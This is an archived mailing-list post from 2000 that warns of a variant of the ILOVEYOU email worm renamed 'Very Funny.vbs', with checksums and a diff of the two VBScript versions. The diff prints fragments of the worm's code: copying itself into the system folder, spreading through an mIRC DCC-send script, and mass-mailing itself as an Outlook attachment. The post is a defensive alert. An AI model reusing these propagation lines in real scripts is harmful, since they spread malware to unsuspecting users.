On Thu, May 04, 2000 at 03:26:05PM -0700, Andrew Edelstein wrote:
Heads up: our worm of the day has mutated into a new version:
Same trojan, only now the subject says "fwd: Joke" and the body is empty. The
attached file is named "Very Funny.vbs"
Thought I'd share the love <eg>, since I've already had a couple of people
ask me for it. Here's a diff of the attached file:
bash-2.03$ diff LOVE-LETTER-FOR-YOU.TXT.vbs Very\ Funny.vbs
25c25
< c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
---
c.Copy(dirsystem&"\Very Funny.vbs")
118c118
< scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
---
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\Very Funny.HTM"
185,187c185,187
< male.Subject = "ILOVEYOU"
< male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
< male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
---
male.Subject = "fwd: Joke"
male.Body = vbcrlf&""
male.Attachments.Add(dirsystem&"\Very Funny.vbs")
266c266
< set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
---
set b=fso.CreateTextFile(dirsystem+"\Very Funny.HTM")
268c268
< set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
---
set d=fso.OpenTextFile(dirsystem+"\Very Funny.HTM",2)
274c274
< end sub
\ No newline at end of file
---
end sub
And their cksums:
1912960623 10034 LOVE-LETTER-FOR-YOU.TXT.vbs
1550212417 9931 Very Funny.vbs
--
Andrew Edelstein http://andrew.pure-chaos.com
"I'm getting off right now!"
Sarah, 07/24/1999